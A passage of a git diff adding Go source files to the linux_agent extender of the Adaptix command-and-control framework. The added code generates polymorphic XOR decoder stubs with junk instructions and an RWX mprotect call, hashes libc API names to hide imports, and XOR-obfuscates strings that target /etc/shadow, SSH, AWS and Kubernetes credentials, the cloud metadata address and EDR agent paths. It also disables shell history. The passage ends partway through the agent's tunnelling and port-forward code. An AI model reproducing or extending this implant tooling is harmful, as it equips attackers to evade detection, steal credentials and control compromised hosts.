rdi, [rip + data_offset] — data pointer + dataLeaPos := len(stub) + stub = append(stub, 0x48, 0x8d, 0x3d, 0x00, 0x00, 0x00, 0x00) + + // mov ecx, SIZE — payload size, patched + sizeMovPos := len(stub) + stub = append(stub, 0xb9, 0x00, 0x00, 0x00, 0x00) + + // xor edx, edx — key index + stub = append(stub, 0x31, 0xd2) + + // XOR loop + loopStart := len(stub) + // movzx eax, byte [rsi + rdx] + stub = append(stub, 0x0f, 0xb6, 0x04, 0x16) + // xor byte [rdi], al + stub = append(stub, 0x30, 0x07) + // inc rdi + stub = append(stub, 0x48, 0xff, 0xc7) + // inc edx + stub = append(stub, 0xff, 0xc2) + // and edx, 15 + stub = append(stub, 0x83, 0xe2, 0x0f) + // dec ecx + stub = append(stub, 0xff, 0xc9) + // jnz loop + loopEnd := len(stub) + offset := byte(loopStart - loopEnd - 2) + stub = append(stub, 0x75, offset) + + // Restore registers + stub = append(stub, 0x5f) // pop rdi + stub = append(stub, 0x5e) // pop rsi + stub = append(stub, 0x5a) // pop rdx + stub = append(stub, 0x59) // pop rcx + stub = append(stub, 0x5b) // pop rbx + + // jmp to decoded data + jmpPos := len(stub) + stub = append(stub, 0xe9, 0x00, 0x00, 0x00, 0x00) // jmp rel32 + + // ── Data area ── + keyOffset = len(stub) + stub = append(stub, make([]byte, 16)...) // 16-byte XOR key placeholder + + sizeOffset = len(stub) + stub = append(stub, make([]byte, 4)...) // 4-byte LE payload size placeholder + + // Align to 16 bytes + for len(stub)%16 != 0 { + stub = append(stub, 0x90) + } + + dataStart := len(stub) + + // ── Patch all offsets ── + + // Patch mprotect lea rdi — target = beginning of stub (before junk) + // rip at mprotectPatchPos+7 points to next insn + mprotectTarget := -int32(mprotectPatchPos + 7) + binary.LittleEndian.PutUint32(stub[mprotectPatchPos+3:mprotectPatchPos+7], uint32(mprotectTarget)) + + // Patch mprotect size — total blob size (generous overestimate is fine) + // We'll use a placeholder that gets patched at the end + // For now, use 0x100000 (1MB) — will be overwritten + binary.LittleEndian.PutUint32(stub[mprotectSizePos+3:mprotectSizePos+7], 0x00100000) + + // Patch lea rsi (key pointer): offset from rip (at keyLeaPos+7) to keyOffset + keyRipOff := int32(keyOffset - (keyLeaPos + 7)) + binary.LittleEndian.PutUint32(stub[keyLeaPos+3:keyLeaPos+7], uint32(keyRipOff)) + + // Patch lea rdi (data pointer): offset from rip (at dataLeaPos+7) to dataStart + dataRipOff := int32(dataStart - (dataLeaPos + 7)) + binary.LittleEndian.PutUint32(stub[dataLeaPos+3:dataLeaPos+7], uint32(dataRipOff)) + + // Patch mov ecx (size): will be patched by caller via sizeOffset + // (left as 0x00000000, caller patches it) + + // Patch jmp to data start + jmpRel := int32(dataStart - (jmpPos + 5)) + binary.LittleEndian.PutUint32(stub[jmpPos+1:jmpPos+5], uint32(jmpRel)) + + // Also patch the ecx in the XOR loop — this references sizeOffset too + // Actually, the caller patches sizeOffset. We need to also link sizeMovPos + // to the same value. Let's just use the same pattern: caller writes at sizeOffset, + // and we copy it to sizeMovPos at encode time. + // Simpler: the caller should patch both. Let's return sizeOffset as the canonical one + // and patch sizeMovPos to reference sizeOffset. + // Actually, we'll just make sizeMovPos point to our data area sizeOffset. + // For the mov ecx instruction, we need it loaded at XOR time. Let's load it from + // the data area instead: + + // Replace the mov ecx with a load from the data area + // Actually simpler: we'll just have the caller patch both locations. + // Let's just directly use the sizeOffset for the data area, and + // patch the sizeMovPos instruction inline. + // For simplicity in this stub, we just patch sizeMovPos = sizeOffset concept. + // The caller patches stub[sizeOffset:sizeOffset+4] with the size. + // We also need to patch the mov ecx at sizeMovPos+1. + // Let's just make the stub self-patching: load size from data area. + + // Alternative: load ecx from [rip+offset] pointing to sizeOffset + // Replace: b9 XX XX XX XX (mov ecx, imm32) + // With: 8b 0d XX XX XX XX (mov ecx, [rip+disp32]) — 6 bytes instead of 5 + // This is messy. Simpler approach: just use the data area size field + // and have the XOR loop read it. Let's just have the caller patch it. + + return stub, keyOffset, sizeOffset, sizeMovPos +} + +// emitJunkX64 returns random x86_64 NOP-equivalent bytes +func emitJunkX64() []byte { + switch mrand.IntN(6) { + case 0: + return []byte{0x90} // nop + case 1: + return []byte{0x66, 0x90} // 2-byte nop + case 2: + return []byte{0x0f, 0x1f, 0x00} // 3-byte nop + case 3: + return []byte{0x50, 0x58} // push rax; pop rax + case 4: + return []byte{0x53, 0x5b} // push rbx; pop rbx + default: + return []byte{0x48, 0x87, 0xc0} // xchg rax, rax + } +} + +// ── ARM64 Linux stub generation ── +// Adapted from macOS pl_encoder_macos.go — key differences: +// - x8 register for syscall number (not x16) +// - svc #0 instruction (not svc #0x80) +// - SYS_mprotect = 226 (not macOS value) + +func encodeInsn(insn uint32) []byte { + b := make([]byte, 4) + binary.LittleEndian.PutUint32(b, insn) + return b +} + +// ARM64 instruction encoders +func arm64Nop() uint32 { return 0xD503201F } +func arm64DsbIsh() uint32 { return 0xD5033B9F } +func arm64Isb() uint32 { return 0xD5033FDF } +func arm64MovX(rd, rs int) uint32 { return 0xAA0003E0 | uint32(rs)<<16 | uint32(rd) } +func arm64AndSelf(r int) uint32 { return 0x8A000000 | uint32(r)<<16 | uint32(r)<<5 | uint32(r) } +func arm64OrrSelf(r int) uint32 { return 0xAA000000 | uint32(r)<<16 | uint32(r)<<5 | uint32(r) } +func arm64Svc0() uint32 { return 0xD4000001 } // svc #0 (Linux) +func arm64AddImm(rd, rn int, imm uint32) uint32 { + return 0x91000000 | (imm&0xFFF)<<10 | uint32(rn)<<5 | uint32(rd) +} +func arm64SubsWImm(rd, rn int, imm uint32) uint32 { + return 0x71000000 | (imm&0xFFF)<<10 | uint32(rn)<<5 | uint32(rd) +} +func arm64Adr(rd int, imm int32) uint32 { + immlo := uint32(imm) & 0x3 + immhi := (uint32(imm) >> 2) & 0x7FFFF + return 0x10000000 | immlo<<29 | immhi<<5 | uint32(rd) +} +func arm64B(offset int32) uint32 { + imm26 := uint32(offset/4) & 0x3FFFFFF + return 0x14000000 | imm26 +} +func arm64Bne(offset int32) uint32 { + imm19 := uint32(offset/4) & 0x7FFFF + return 0x54000001 | imm19<<5 +} +func arm64LdrWImm(rt, rn int, imm uint32) uint32 { + return 0xB9400000 | (imm/4&0xFFF)<<10 | uint32(rn)<<5 | uint32(rt) +} +func arm64LdrbReg(rt, rn, rm int) uint32 { + return 0x38600800 | uint32(rm)<<16 | uint32(rn)<<5 | uint32(rt) +} +func arm64EorW(rd, rn, rm int) uint32 { + return 0x4A000000 | uint32(rm)<<16 | uint32(rn)<<5 | uint32(rd) +} +func arm64MovzX(rd int, imm uint32, shift int) uint32 { + hw := uint32(shift / 16) + return 0xD2800000 | hw<<21 | (imm&0xFFFF)<<5 | uint32(rd) +} +func arm64SxtpX29X30PreDec() uint32 { return 0xA9BF7BFD } // stp x29, x30, [sp, #-16]! +func arm64LdpX29X30PostInc() uint32 { return 0xA8C17BFD } // ldp x29, x30, [sp], #16 +func arm64AndWImm15(rd, rn int) uint32 { + // and wRd, wRn, #0xf — N=0, immr=0, imms=3 + return 0x12000C00 | uint32(rn)<<5 | uint32(rd) +} + +func generateStubARM64Linux() (stub []byte, keyOffset int, sizeOffset int) { + stub = make([]byte, 0, 256) + + // Register allocation (randomizable in future) + rKey := 9 // x9 = key pointer + rData := 10 // x10 = data pointer + rSize := 11 // w11 = remaining size counter + rKeyIdx := 12 // w12 = key index (0-15) + rTmp0 := 13 // w13 = temp + rTmp1 := 14 // w14 = temp + + // ── Prologue ── + stub = append(stub, encodeInsn(arm64SxtpX29X30PreDec())...) + + // Junk NOPs (polymorphic) + junkCount := mrand.IntN(4) + 2 + for i := 0; i < junkCount; i++ { + stub = append(stub, encodeInsn(arm64JunkInsn())...) + } + + // ── mprotect syscall: make region RWX ── + // adr x9, key_data (placeholder — patched later) + adrKeyPos := len(stub) + stub = append(stub, encodeInsn(arm64Nop())...) // placeholder + + // adr x10, data_start (placeholder — patched later) + adrDataPos := len(stub) + stub = append(stub, encodeInsn(arm64Nop())...) // placeholder + + // Calculate mprotect base: page-align the stub start + // adr x0, stub_start (we use negative offset from current position) + // x0 = current_pc - (current_offset) + mprotectAdrPos := len(stub) + stub = append(stub, encodeInsn(arm64Nop())...) // placeholder: adr x0, stub_start + + // Page-align x0: and x0, x0, ~0xFFF + // bic x0, x0, #0xFFF + stub = append(stub, encodeInsn(0x927CE800)...) // and x0, x0, #0xFFFFFFFFFFFFF000 + + // mov x1, mprotect_size (placeholder — generous) + stub = append(stub, encodeInsn(arm64MovzX(1, 0x0020, 16))...) // movz x1, #0x200000 (2MB) + + // mov x2, 7 (PROT_READ|PROT_WRITE|PROT_EXEC) + stub = append(stub, encodeInsn(arm64MovzX(2, 7, 0))...) + + // mov x8, 226 (SYS_mprotect on Linux ARM64) + stub = append(stub, encodeInsn(arm64MovzX(8, 226, 0))...) + + // svc #0 + stub = append(stub, encodeInsn(arm64Svc0())...) + + // More junk + junkCount2 := mrand.IntN(3) + 1 + for i := 0; i < junkCount2; i++ { + stub = append(stub, encodeInsn(arm64JunkInsn())...) + } + + // ── Load size from data area ── + // ldr w11, [x9, #16] — size is at key+16 + stub = append(stub, encodeInsn(arm64LdrWImm(rSize, rKey, 16))...) + + // mov w12, 0 — key index + stub = append(stub, encodeInsn(arm64MovzX(rKeyIdx, 0, 0))...) + + // ── XOR decode loop ── + loopStart := len(stub) + + // ldrb w13, [x9, x12] — key[key_idx] + stub = append(stub, encodeInsn(arm64LdrbReg(rTmp0, rKey, rKeyIdx))...) + + // ldrb w14, [x10] — data[i] + stub = append(stub, encodeInsn(0x39400000|uint32(rData)<<5|uint32(rTmp1))...) + + // eor w14, w14, w13 + stub = append(stub, encodeInsn(arm64EorW(rTmp1, rTmp1, rTmp0))...) + + // strb w14, [x10] + stub = append(stub, encodeInsn(0x39000000|uint32(rData)<<5|uint32(rTmp1))...) + + // x10 += 1 + stub = append(stub, encodeInsn(arm64AddImm(rData, rData, 1))...) + + // x12 = (x12 + 1) & 15 + stub = append(stub, encodeInsn(arm64AddImm(rKeyIdx, rKeyIdx, 1))...) + stub = append(stub, encodeInsn(arm64AndWImm15(rKeyIdx, rKeyIdx))...) + + // subs w11, w11, #1 + stub = append(stub, encodeInsn(arm64SubsWImm(rSize, rSize, 1))...) + + // b.ne loop + loopEnd := len(stub) + loopOff := int32(loopStart - loopEnd) + stub = append(stub, encodeInsn(arm64Bne(loopOff))...) + + // ── icache flush ── + stub = append(stub, encodeInsn(arm64DsbIsh())...) + stub = append(stub, encodeInsn(0xD508711F)...) // ic ialluis + stub = append(stub, encodeInsn(arm64DsbIsh())...) + stub = append(stub, encodeInsn(arm64Isb())...) + + // ── Epilogue ── + stub = append(stub, encodeInsn(arm64LdpX29X30PostInc())...) + + // Reload data_start for branch (re-adr) + branchAdrPos := len(stub) + stub = append(stub, encodeInsn(arm64Nop())...) // placeholder: adr x10, data_start + + // br x10 + stub = append(stub, encodeInsn(0xD61F0000|uint32(rData)<<5)...) + + // ── Data area ── + keyOffset = len(stub) + stub = append(stub, make([]byte, 16)...) // 16-byte XOR key + + sizeOffset = len(stub) + stub = append(stub, make([]byte, 4)...) // 4-byte LE payload size + + // Align to 8 bytes + for len(stub)%8 != 0 { + stub = append(stub, 0x00) + } + + dataStart := len(stub) + + // ── Patch ADR instructions ── + // adr x9, key + adrKeyImm := int32(keyOffset - adrKeyPos) + binary.LittleEndian.PutUint32(stub[adrKeyPos:adrKeyPos+4], arm64Adr(rKey, adrKeyImm)) + + // adr x10, data_start + adrDataImm := int32(dataStart - adrDataPos) + binary.LittleEndian.PutUint32(stub[adrDataPos:adrDataPos+4], arm64Adr(rData, adrDataImm)) + + // adr x0, stub_start (for mprotect) + mprotectImm := -int32(mprotectAdrPos) + binary.LittleEndian.PutUint32(stub[mprotectAdrPos:mprotectAdrPos+4], arm64Adr(0, mprotectImm)) + + // adr x10, data_start (for branch after decode) + branchImm := int32(dataStart - branchAdrPos) + binary.LittleEndian.PutUint32(stub[branchAdrPos:branchAdrPos+4], arm64Adr(rData, branchImm)) + + return stub, keyOffset, sizeOffset +} + +func arm64JunkInsn() uint32 { + switch mrand.IntN(5) { + case 0: + return arm64Nop() + case 1: + r := mrand.IntN(16) + return arm64MovX(r, r) + case 2: + r := mrand.IntN(16) + return arm64AndSelf(r) + case 3: + r := mrand.IntN(16) + return arm64OrrSelf(r) + default: + return arm64Nop() + } +} diff --git a/AdaptixServer/extenders/linux_agent/pl_hashes_linux.go b/AdaptixServer/extenders/linux_agent/pl_hashes_linux.go new file mode 100644 index 000000000..832a38b3b --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/pl_hashes_linux.go @@ -0,0 +1,288 @@ +package main + +import ( + "crypto/rand" + "encoding/binary" + "fmt" + mrand "math/rand/v2" + "strings" +) + +// cryptoRandUint32 returns a cryptographically random uint32 +func cryptoRandUint32() uint32 { + var buf [4]byte + _, _ = rand.Read(buf[:]) + return binary.LittleEndian.Uint32(buf[:]) +} + +// djb2Hash matches the C-side djb2_hash() — case-insensitive, seeded +func djb2Hash(seed uint32, s string) uint32 { + h := seed + for _, c := range strings.ToLower(s) { + h = ((h << 5) + h) + uint32(c) + } + return h +} + +// Linux libraries for hash-based resolution +var linuxLibs = []struct{ define, libName string }{ + {"HASH_LIB_LIBC", "libc.so.6"}, + {"HASH_LIB_LIBPTHREAD", "libpthread.so.0"}, + {"HASH_LIB_LIBDL", "libdl.so.2"}, + {"HASH_LIB_LIBRESOLV", "libresolv.so.2"}, + {"HASH_LIB_LIBM", "libm.so.6"}, +} + +// Linux functions to resolve by DJB2 hash +var linuxFuncSections = []struct { + category string + funcs []struct{ define, name string } +}{ + {"File I/O", []struct{ define, name string }{ + {"HASH_FUNC_OPEN", "open"}, + {"HASH_FUNC_CLOSE", "close"}, + {"HASH_FUNC_READ", "read"}, + {"HASH_FUNC_WRITE", "write"}, + {"HASH_FUNC_STAT", "stat"}, + {"HASH_FUNC_FSTAT", "fstat"}, + {"HASH_FUNC_UNLINK", "unlink"}, + {"HASH_FUNC_RENAME", "rename"}, + {"HASH_FUNC_MKDIR", "mkdir"}, + {"HASH_FUNC_OPENDIR", "opendir"}, + {"HASH_FUNC_READDIR", "readdir"}, + {"HASH_FUNC_CLOSEDIR", "closedir"}, + {"HASH_FUNC_GETCWD", "getcwd"}, + {"HASH_FUNC_CHDIR", "chdir"}, + {"HASH_FUNC_RMDIR", "rmdir"}, + {"HASH_FUNC_REWINDDIR", "rewinddir"}, + }}, + {"Memory", []struct{ define, name string }{ + {"HASH_FUNC_MMAP", "mmap"}, + {"HASH_FUNC_MUNMAP", "munmap"}, + {"HASH_FUNC_MPROTECT", "mprotect"}, + }}, + {"Process", []struct{ define, name string }{ + {"HASH_FUNC_FORK", "fork"}, + {"HASH_FUNC_EXECVE", "execve"}, + {"HASH_FUNC_EXECVP", "execvp"}, + {"HASH_FUNC_WAITPID", "waitpid"}, + {"HASH_FUNC_GETPID", "getpid"}, + {"HASH_FUNC_GETUID", "getuid"}, + {"HASH_FUNC_GETEUID", "geteuid"}, + {"HASH_FUNC_KILL", "kill"}, + {"HASH_FUNC_SETSID", "setsid"}, + {"HASH_FUNC_SETPGID", "setpgid"}, + {"HASH_FUNC_EXIT", "_exit"}, + {"HASH_FUNC_PRCTL", "prctl"}, + }}, + {"Network", []struct{ define, name string }{ + {"HASH_FUNC_SOCKET", "socket"}, + {"HASH_FUNC_CONNECT", "connect"}, + {"HASH_FUNC_GETADDRINFO", "getaddrinfo"}, + {"HASH_FUNC_FREEADDRINFO", "freeaddrinfo"}, + {"HASH_FUNC_GETHOSTNAME", "gethostname"}, + {"HASH_FUNC_SETSOCKOPT", "setsockopt"}, + {"HASH_FUNC_GETSOCKOPT", "getsockopt"}, + {"HASH_FUNC_SELECT", "select"}, + {"HASH_FUNC_SEND", "send"}, + {"HASH_FUNC_RECV", "recv"}, + {"HASH_FUNC_BIND", "bind"}, + {"HASH_FUNC_LISTEN", "listen"}, + {"HASH_FUNC_ACCEPT", "accept"}, + }}, + {"Threading", []struct{ define, name string }{ + {"HASH_FUNC_PTHREAD_CREATE", "pthread_create"}, + {"HASH_FUNC_PTHREAD_DETACH", "pthread_detach"}, + {"HASH_FUNC_PTHREAD_MUTEX_INIT", "pthread_mutex_init"}, + {"HASH_FUNC_PTHREAD_MUTEX_LOCK", "pthread_mutex_lock"}, + {"HASH_FUNC_PTHREAD_MUTEX_UNLOCK", "pthread_mutex_unlock"}, + }}, + {"Pipes & PTY", []struct{ define, name string }{ + {"HASH_FUNC_PIPE", "pipe"}, + {"HASH_FUNC_DUP2", "dup2"}, + {"HASH_FUNC_FCNTL", "fcntl"}, + {"HASH_FUNC_POSIX_OPENPT", "posix_openpt"}, + {"HASH_FUNC_GRANTPT", "grantpt"}, + {"HASH_FUNC_UNLOCKPT", "unlockpt"}, + {"HASH_FUNC_PTSNAME", "ptsname"}, + {"HASH_FUNC_IOCTL", "ioctl"}, + }}, + {"System", []struct{ define, name string }{ + {"HASH_FUNC_GETENV", "getenv"}, + {"HASH_FUNC_SETENV", "setenv"}, + {"HASH_FUNC_SLEEP", "sleep"}, + {"HASH_FUNC_USLEEP", "usleep"}, + {"HASH_FUNC_SNPRINTF", "snprintf"}, + {"HASH_FUNC_STRTOL", "strtol"}, + }}, + {"User/Group", []struct{ define, name string }{ + {"HASH_FUNC_GETPWUID", "getpwuid"}, + {"HASH_FUNC_GETGRGID", "getgrgid"}, + {"HASH_FUNC_GETIFADDRS", "getifaddrs"}, + {"HASH_FUNC_FREEIFADDRS", "freeifaddrs"}, + {"HASH_FUNC_INET_NTOP", "inet_ntop"}, + {"HASH_FUNC_LOCALTIME", "localtime"}, + {"HASH_FUNC_STRFTIME", "strftime"}, + }}, + {"Dynamic", []struct{ define, name string }{ + {"HASH_FUNC_DLOPEN", "dlopen"}, + {"HASH_FUNC_DLSYM", "dlsym"}, + {"HASH_FUNC_DLCLOSE", "dlclose"}, + }}, +} + +// generateLinuxApiDefines produces a C header with DJB2 hashes for per-payload polymorphism +func generateLinuxApiDefines(seed uint32) string { + var sb strings.Builder + sb.WriteString("// Auto-generated — per-payload DJB2 API hashes\n") + sb.WriteString("// Do not edit. Regenerated on each build.\n") + sb.WriteString("#ifndef API_DEFINES_H\n#define API_DEFINES_H\n\n") + sb.WriteString(fmt.Sprintf("#define DJB2_SEED 0x%08xU\n\n", seed)) + + // Library hashes + sb.WriteString("// Library hashes\n") + for _, lib := range linuxLibs { + h := djb2Hash(seed, lib.libName) + sb.WriteString(fmt.Sprintf("#define %-30s 0x%08xU // %s\n", lib.define, h, lib.libName)) + } + sb.WriteString("\n") + + // Function hashes + for _, section := range linuxFuncSections { + sb.WriteString(fmt.Sprintf("// %s\n", section.category)) + for _, fn := range section.funcs { + h := djb2Hash(seed, fn.name) + sb.WriteString(fmt.Sprintf("#define %-35s 0x%08xU // %s\n", fn.define, h, fn.name)) + } + sb.WriteString("\n") + } + + sb.WriteString("#endif // API_DEFINES_H\n") + return sb.String() +} + +// Obfuscated strings — Linux-specific paths and sensitive strings +var obfuscatedStrings = []struct{ define, value string }{ + // Paths critiques + {"OBF_PROC_SELF_MAPS", "/proc/self/maps"}, + {"OBF_PROC_SELF_STATUS", "/proc/self/status"}, + {"OBF_PROC_SELF_EXE", "/proc/self/exe"}, + {"OBF_PROC_VERSION", "/proc/version"}, + {"OBF_ETC_SHADOW", "/etc/shadow"}, + {"OBF_ETC_PASSWD", "/etc/passwd"}, + {"OBF_ETC_OS_RELEASE", "/etc/os-release"}, + {"OBF_DEV_URANDOM", "/dev/urandom"}, + {"OBF_BIN_SH", "/bin/sh"}, + {"OBF_BIN_BASH", "/bin/bash"}, + {"OBF_TMP", "/tmp"}, + // Persistence + {"OBF_CRONTAB", "/usr/bin/crontab"}, + {"OBF_SYSTEMCTL", "/usr/bin/systemctl"}, + // Credentials + {"OBF_SSH_DIR", ".ssh"}, + {"OBF_AWS_CREDS", ".aws/credentials"}, + {"OBF_KUBE_CONFIG", ".kube/config"}, + {"OBF_DOCKER_CONFIG", ".docker/config.json"}, + // Container/Cloud + {"OBF_DOCKERENV", "/.dockerenv"}, + {"OBF_K8S_SECRETS", "/run/secrets/kubernetes.io"}, + {"OBF_IMDS_URL", "169.254.169.254"}, + // EDR paths + {"OBF_FALCON_SENSOR", "/opt/CrowdStrike/falconctl"}, + {"OBF_ELASTIC_AGENT", "/opt/Elastic/Agent/elastic-agent"}, + {"OBF_WAZUH_AGENT", "/var/ossec/bin/wazuh-agentd"}, + {"OBF_SYSDIG_AGENT", "/opt/draios/bin/sysdig"}, + {"OBF_LACEWORK", "/var/lib/lacework"}, + // Anti-debug + {"OBF_PROC_SELF_ENVIRON", "/proc/self/environ"}, + {"OBF_PROC_1_CGROUP", "/proc/1/cgroup"}, + {"OBF_SYS_DMI_PRODUCT", "/sys/class/dmi/id/product_name"}, + {"OBF_SYS_DMI_VENDOR", "/sys/class/dmi/id/sys_vendor"}, + {"OBF_PROC_CPUINFO", "/proc/cpuinfo"}, + {"OBF_PROC_MEMINFO", "/proc/meminfo"}, + // PTY env vars + {"OBF_HISTFILE", "HISTFILE=/dev/null"}, + {"OBF_HISTFILESIZE", "HISTFILESIZE=0"}, + {"OBF_HISTSIZE", "HISTSIZE=0"}, +} + +// generateObfStrings produces a C header with XOR-obfuscated strings +func generateObfStrings() string { + // Generate per-payload random 16-byte XOR key + key := make([]byte, 16) + _, _ = rand.Read(key) + + var sb strings.Builder + sb.WriteString("// Auto-generated — per-payload XOR-obfuscated strings\n") + sb.WriteString("// Do not edit. Regenerated on each build.\n") + sb.WriteString("#ifndef STRINGS_OBF_H\n#define STRINGS_OBF_H\n\n") + sb.WriteString("#include \n\n") + + // Build nonce (unique per payload) + nonce := make([]byte, 16) + _, _ = rand.Read(nonce) + sb.WriteString("// Build nonce (unique per payload)\n") + sb.WriteString("static const uint8_t _build_nonce[] = {") + for i, b := range nonce { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(fmt.Sprintf("0x%02x", b)) + } + sb.WriteString("};\n\n") + + // XOR key + sb.WriteString("static const uint8_t _xor_key[] = {") + for i, b := range key { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(fmt.Sprintf("0x%02x", b)) + } + sb.WriteString("};\n") + sb.WriteString(fmt.Sprintf("static const int _xor_key_len = %d;\n\n", len(key))) + + // Deobfuscation macro + sb.WriteString("// Runtime deobfuscation: XOR decrypt into stack buffer, use, then zero\n") + sb.WriteString("#define DEOBF(name, dst) do { \\\n") + sb.WriteString(" for (int _i = 0; _i < (int)sizeof(name##_enc); _i++) \\\n") + sb.WriteString(" (dst)[_i] = name##_enc[_i] ^ _xor_key[_i % _xor_key_len]; \\\n") + sb.WriteString(" (dst)[sizeof(name##_enc)] = 0; \\\n") + sb.WriteString("} while(0)\n\n") + + sb.WriteString("#define ZERO_STR(buf, len) do { \\\n") + sb.WriteString(" volatile char *_p = (volatile char*)(buf); \\\n") + sb.WriteString(" for (unsigned int _i = 0; _i < (unsigned int)(len); _i++) _p[_i] = 0; \\\n") + sb.WriteString("} while(0)\n\n") + + // Generate each obfuscated string + for _, s := range obfuscatedStrings { + // XOR encode + enc := make([]byte, len(s.value)) + for i := 0; i < len(s.value); i++ { + enc[i] = s.value[i] ^ key[i%len(key)] + } + + sb.WriteString(fmt.Sprintf("// %s = \"%s\" (%d bytes)\n", s.define, s.value, len(s.value))) + sb.WriteString(fmt.Sprintf("static const uint8_t %s_enc[] = {", s.define)) + for i, b := range enc { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(fmt.Sprintf("0x%02x", b)) + } + sb.WriteString("};\n") + sb.WriteString(fmt.Sprintf("#define %s_LEN %d\n\n", s.define, len(s.value))) + } + + // Junk variable to prevent dead-code elimination of nonce + sb.WriteString("static __attribute__((used)) const uint8_t *_nonce_ref = _build_nonce;\n\n") + + sb.WriteString("#endif // STRINGS_OBF_H\n") + return sb.String() +} + +// randomJunkByte returns a random non-zero byte for padding +func randomJunkByte() byte { + return byte(mrand.IntN(254) + 1) +} diff --git a/AdaptixServer/extenders/linux_agent/pl_main.go b/AdaptixServer/extenders/linux_agent/pl_main.go new file mode 100644 index 000000000..adbaa6861 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/pl_main.go @@ -0,0 +1,2165 @@ +package main + +import ( + "crypto/aes" + "crypto/cipher" + "crypto/rand" + "encoding/base64" + "encoding/binary" + "encoding/hex" + "encoding/json" + "errors" + "fmt" + "io" + mrand "math/rand/v2" + "os" + "strconv" + "strings" + "time" + + "github.com/Adaptix-Framework/axc2" + "github.com/google/shlex" + "github.com/vmihailenco/msgpack/v5" +) + +type Teamserver interface { + TsListenerInteralHandler(watermark string, data []byte) (string, error) + + TsAgentProcessData(agentId string, bodyData []byte) error + + TsAgentUpdateData(newAgentData adaptix.AgentData) error + TsAgentTerminate(agentId string, terminateTaskId string) error + TsAgentUpdateDataPartial(agentId string, updateData interface{}) error + + TsAgentBuildExecute(builderId string, workingDir string, program string, args ...string) error + TsAgentBuildLog(builderId string, status int, message string) error + + TsAgentConsoleOutput(agentId string, messageType int, message string, clearText string, store bool) + + TsPivotCreate(pivotId string, pAgentId string, chAgentId string, pivotName string, isRestore bool) error + TsGetPivotInfoByName(pivotName string) (string, string, string) + TsGetPivotInfoById(pivotId string) (string, string, string) + TsPivotDelete(pivotId string) error + + TsTaskCreate(agentId string, cmdline string, client string, taskData adaptix.TaskData) + TsTaskUpdate(agentId string, data adaptix.TaskData) + TsTaskGetAvailableAll(agentId string, availableSize int) ([]adaptix.TaskData, error) + + TsDownloadAdd(agentId string, fileId string, fileName string, fileSize int64) error + TsDownloadUpdate(fileId string, state int, data []byte) error + TsDownloadClose(fileId string, reason int) error + TsDownloadSave(agentId string, fileId string, filename string, content []byte) error + + TsScreenshotAdd(agentId string, Note string, Content []byte) error + + TsClientGuiDisksWindows(taskData adaptix.TaskData, drives []adaptix.ListingDrivesDataWin) + TsClientGuiFilesStatus(taskData adaptix.TaskData) + TsClientGuiFilesWindows(taskData adaptix.TaskData, path string, files []adaptix.ListingFileDataWin) + TsClientGuiFilesUnix(taskData adaptix.TaskData, path string, files []adaptix.ListingFileDataUnix) + TsClientGuiProcessWindows(taskData adaptix.TaskData, process []adaptix.ListingProcessDataWin) + TsClientGuiProcessUnix(taskData adaptix.TaskData, process []adaptix.ListingProcessDataUnix) + + TsTunnelStart(TunnelId string) (string, error) + TsTunnelCreateSocks4(AgentId string, Info string, Lhost string, Lport int) (string, error) + TsTunnelCreateSocks5(AgentId string, Info string, Lhost string, Lport int, UseAuth bool, Username string, Password string) (string, error) + TsTunnelCreateLportfwd(AgentId string, Info string, Lhost string, Lport int, Thost string, Tport int) (string, error) + TsTunnelCreateRportfwd(AgentId string, Info string, Lport int, Thost string, Tport int) (string, error) + TsTunnelUpdateRportfwd(tunnelId int, result bool) (string, string, error) + + TsTunnelStopSocks(AgentId string, Port int) + TsTunnelStopLportfwd(AgentId string, Port int) + TsTunnelStopRportfwd(AgentId string, Port int) + + TsTunnelConnectionClose(channelId int, writeOnly bool) + TsTunnelConnectionHalt(channelId int, errorCode byte) + TsTunnelConnectionResume(AgentId string, channelId int, ioDirect bool) + TsTunnelConnectionData(channelId int, data []byte) + TsTunnelConnectionAccept(tunnelId int, channelId int) + TsTunnelPause(channelId int) + TsTunnelResume(channelId int) + + TsTerminalConnExists(terminalId string) bool + TsTerminalGetPipe(AgentId string, terminalId string) (*io.PipeReader, *io.PipeWriter, error) + TsTerminalConnResume(agentId string, terminalId string, ioDirect bool) + TsTerminalConnData(terminalId string, data []byte) + TsTerminalConnClose(terminalId string, status string) error + + TsConvertCpToUTF8(input string, codePage int) string + TsConvertUTF8toCp(input string, codePage int) string + TsWin32Error(errorCode uint) string +} + +type PluginAgent struct{} + +type ExtenderAgent struct{} + +var ( + Ts Teamserver + ModuleDir string + AgentWatermark string +) + +func InitPlugin(ts any, moduleDir string, watermark string) adaptix.PluginAgent { + ModuleDir = moduleDir + AgentWatermark = watermark + Ts = ts.(Teamserver) + return &PluginAgent{} +} + +func (p *PluginAgent) GetExtender() adaptix.ExtenderAgent { + return &ExtenderAgent{} +} + +func makeProxyTask(packData []byte) adaptix.TaskData { + return adaptix.TaskData{Type: adaptix.TASK_TYPE_PROXY_DATA, Data: packData, Sync: false} +} + +func getStringArg(args map[string]any, key string) (string, error) { + v, ok := args[key].(string) + if !ok { + return "", fmt.Errorf("parameter '%s' must be set", key) + } + return v, nil +} + +func getFloatArg(args map[string]any, key string) (float64, error) { + v, ok := args[key].(float64) + if !ok { + return 0, fmt.Errorf("parameter '%s' must be set", key) + } + return v, nil +} + +func getBoolArg(args map[string]any, key string) bool { + v, _ := args[key].(bool) + return v +} + +/// TUNNEL + +func (ext *ExtenderAgent) TunnelCallbacks() adaptix.TunnelCallbacks { + return adaptix.TunnelCallbacks{ + ConnectTCP: TunnelMessageConnectTCP, + ConnectUDP: TunnelMessageConnectUDP, + WriteTCP: TunnelMessageWriteTCP, + WriteUDP: TunnelMessageWriteUDP, + Close: TunnelMessageClose, + Reverse: TunnelMessageReverse, + Pause: TunnelMessagePause, + Resume: TunnelMessageResume, + } +} + +func TunnelMessageConnectTCP(channelId int, tunnelType int, addressType int, address string, port int) adaptix.TaskData { + var packData []byte + addr := fmt.Sprintf("%s:%d", address, port) + packerData, _ := msgpack.Marshal(ParamsTunnelStart{Proto: "tcp", ChannelId: channelId, Address: addr}) + cmd := Command{Code: COMMAND_TUNNEL_START, Data: packerData} + packData, _ = msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +func TunnelMessageConnectUDP(channelId int, tunnelType int, addressType int, address string, port int) 